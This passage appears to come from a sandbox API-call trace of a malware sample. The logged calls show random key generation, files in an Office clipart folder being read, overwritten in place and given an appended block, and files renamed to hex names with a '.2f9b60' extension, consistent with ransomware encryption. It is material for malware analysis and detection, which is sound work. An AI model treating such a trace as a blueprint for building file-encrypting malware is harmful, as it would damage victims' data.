Seed=0x2514f6f0) returned 0x7e368b52 [0149.604] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x345c80e9 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x3ad73aa5 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x19d98c88 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x3755e05d [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x6ccaf2a2 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x10b779e7 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x46c3328d [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x72e074cb [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x35f33d65 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x34e5aea2 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x3405710 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x55458161 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x321197b [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x54981ab2 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x6f2e3929 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x1518fba3 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x8affa3c [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x2cd6ca35 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x7518d280 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x4c38ef35 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x2477cf1f [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x765b6692 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0xc2696a [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x737b6b21 [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x2338687b [0149.605] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x293a1bb0 [0149.606] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x2ede6a9a [0149.606] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x7fd6dc69 [0149.606] RtlRandomEx (in: Seed=0x2514f6f0 | out: Seed=0x2514f6f0) returned 0x3f880a39 [0149.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33a0 [0149.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0149.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33d0 [0149.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0149.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3370) returned 1 [0149.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0149.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0149.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203ff2a0 [0149.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20402eb0 [0149.617] ReadFile (in: hFile=0x2160, lpBuffer=0x203ff2a0, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x2514f6f0, lpOverlapped=0x0 | out: lpBuffer=0x203ff2a0*, lpNumberOfBytesRead=0x2514f6f0*=0xadc, lpOverlapped=0x0) returned 1 [0149.617] SetFilePointerEx (in: hFile=0x2160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.617] WriteFile (in: hFile=0x2160, lpBuffer=0x20402eb0*, nNumberOfBytesToWrite=0xadc, lpNumberOfBytesWritten=0x2514f6f4, lpOverlapped=0x0 | out: lpBuffer=0x20402eb0*, lpNumberOfBytesWritten=0x2514f6f4*=0xadc, lpOverlapped=0x0) returned 1 [0161.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a57e0 [0161.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5810 [0161.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5810) returned 1 [0161.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20402eb0) returned 1 [0161.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203ff2a0) returned 1 [0161.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0161.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0161.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5810 [0161.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0161.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0161.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5870 [0161.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5870) returned 1 [0161.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5870 [0161.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5900 [0161.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5930 [0161.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5930) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0161.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0161.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac1d0 [0161.800] SetFilePointerEx (in: hFile=0x2160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.800] WriteFile (in: hFile=0x2160, lpBuffer=0x423ac1d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2514f810, lpOverlapped=0x0 | out: lpBuffer=0x423ac1d0*, lpNumberOfBytesWritten=0x2514f810*=0x10a, lpOverlapped=0x0) returned 1 [0163.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3460 [0163.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3460) returned 1 [0163.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3460 [0163.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3430 [0163.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3430) returned 1 [0163.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.689] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="e1") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="01") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="68") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="01") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="bc") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.689] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="b6") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="21") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="05") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="16") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="f4") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="ca") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="19") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="24") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.690] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="19") returned 2 [0163.690] RtlInitAnsiString (in: DestinationString=0x2514f888, SourceString="e1f701c06801fde5f0bcd4b69b210516f4ca1ed119240d19" | out: DestinationString="e1f701c06801fde5f0bcd4b69b210516f4ca1ed119240d19") [0163.690] RtlAnsiStringToUnicodeString (in: DestinationString=0x2514f858, SourceString="e1f701c06801fde5f0bcd4b69b210516f4ca1ed119240d19", AllocateDestinationString=1 | out: DestinationString="e1f701c06801fde5f0bcd4b69b210516f4ca1ed119240d19") returned 0x0 [0163.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857bf0 [0163.691] RtlFreeAnsiString (AnsiString="e") [0163.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3460) returned 1 [0163.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac1d0) returned 1 [0163.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5870) returned 1 [0163.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5900) returned 1 [0163.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5810) returned 1 [0163.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a57e0) returned 1 [0163.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f32e0) returned 1 [0163.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f33a0) returned 1 [0163.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f33d0) returned 1 [0163.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6790 [0163.693] wcscat (in: _Dest=0x1cdb6790, _Source="e1f701c06801" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1f701c06801") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1f701c06801" [0163.693] wcscat (in: _Dest=0x1cdb6790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1f701c06801.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1f701c06801.2f9b60" [0163.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1f701c06801.2f9b60", NtPathName=0x2514f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1f701c06801.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202798b0 Thread: id = 2338 os_tid = 0x1cec [0149.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0149.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF", dwFileAttributes=0x20) returned 1 [0149.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2164 [0149.627] GetFileSizeEx (in: hFile=0x2164, lpFileSize=0x2445fa40 | out: lpFileSize=0x2445fa40*=2796) returned 1 [0149.627] SetFilePointerEx (in: hFile=0x2164, liDistanceToMove=0xae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.627] ReadFile (in: hFile=0x2164, lpBuffer=0x2445f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2445fa08, lpOverlapped=0x0 | out: lpBuffer=0x2445f9c0*, lpNumberOfBytesRead=0x2445fa08*=0x4, lpOverlapped=0x0) returned 1 [0149.632] SetFilePointerEx (in: hFile=0x2164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3370 [0149.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3400 [0149.633] NtQuerySystemTime (in: CurrentTime=0x2445f900 | out: CurrentTime=0x2445f900*=132462177548374000) returned 0x0 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x69c4da11 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x7baa4180 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x6a5c2fe1 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x4c92c7c5 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x19ea0d5e [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0xdef53c3 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x713eeb23 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x23a5b8e0 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x1dadf3df [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x4eea6c6 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x72fae0e1 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0xcc33fbb [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x2f4bc2c5 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x589ce3f8 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x4f4a0ef3 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x554d0993 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x2cac4de3 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x473a21f0 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x72b10989 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x7fb9da46 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x61500cf1 [0149.633] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x1cac9dcd [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x6758f261 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x3bbef4e3 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0xbb2c166 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x506ce481 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x36b36006 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x30db1a17 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x7377d1f0 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x699fa21a [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0x584a1e3 [0149.634] RtlRandomEx (in: Seed=0x2445f8f0 | out: Seed=0x2445f8f0) returned 0xec2783f [0149.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3430 [0149.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0149.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3460 [0149.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0149.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3400) returned 1 [0149.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0149.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0149.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20406ac0 [0149.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2040a6d0 [0149.645] ReadFile (in: hFile=0x2164, lpBuffer=0x20406ac0, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x2445f8f0, lpOverlapped=0x0 | out: lpBuffer=0x20406ac0*, lpNumberOfBytesRead=0x2445f8f0*=0xaec, lpOverlapped=0x0) returned 1 [0149.645] SetFilePointerEx (in: hFile=0x2164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.645] WriteFile (in: hFile=0x2164, lpBuffer=0x2040a6d0*, nNumberOfBytesToWrite=0xaec, lpNumberOfBytesWritten=0x2445f8f4, lpOverlapped=0x0 | out: lpBuffer=0x2040a6d0*, lpNumberOfBytesWritten=0x2445f8f4*=0xaec, lpOverlapped=0x0) returned 1 [0161.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5720 [0161.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5750 [0161.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5750) returned 1 [0161.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2040a6d0) returned 1 [0161.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20406ac0) returned 1 [0161.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0161.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0161.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5750 [0161.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0161.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0161.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5780 [0161.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5780) returned 1 [0161.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5780 [0161.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a57b0 [0161.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a57e0 [0161.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a57e0) returned 1 [0161.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0161.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0161.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac0b0 [0161.768] SetFilePointerEx (in: hFile=0x2164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.768] WriteFile (in: hFile=0x2164, lpBuffer=0x423ac0b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2445fa10, lpOverlapped=0x0 | out: lpBuffer=0x423ac0b0*, lpNumberOfBytesWritten=0x2445fa10*=0x10a, lpOverlapped=0x0) returned 1 [0163.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3340 [0163.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3340) returned 1 [0163.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3340 [0163.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3310 [0163.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3310) returned 1 [0163.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.681] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="39") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="98") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="ae") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="ce") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="30") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="22") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="ea") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="55") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="14") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="ce") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="42") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="76") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="92") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="30") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="21") returned 2 [0163.681] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="36") returned 2 [0163.681] RtlInitAnsiString (in: DestinationString=0x2445fa88, SourceString="3998eba8aeced930a9227dea5514ebce4276927d309a2136" | out: DestinationString="3998eba8aeced930a9227dea5514ebce4276927d309a2136") [0163.682] RtlAnsiStringToUnicodeString (in: DestinationString=0x2445fa58, SourceString="3998eba8aeced930a9227dea5514ebce4276927d309a2136", AllocateDestinationString=1 | out: DestinationString="3998eba8aeced930a9227dea5514ebce4276927d309a2136") returned 0x0 [0163.682] RtlAllocateHeap (HeapHandle=0xa0000, 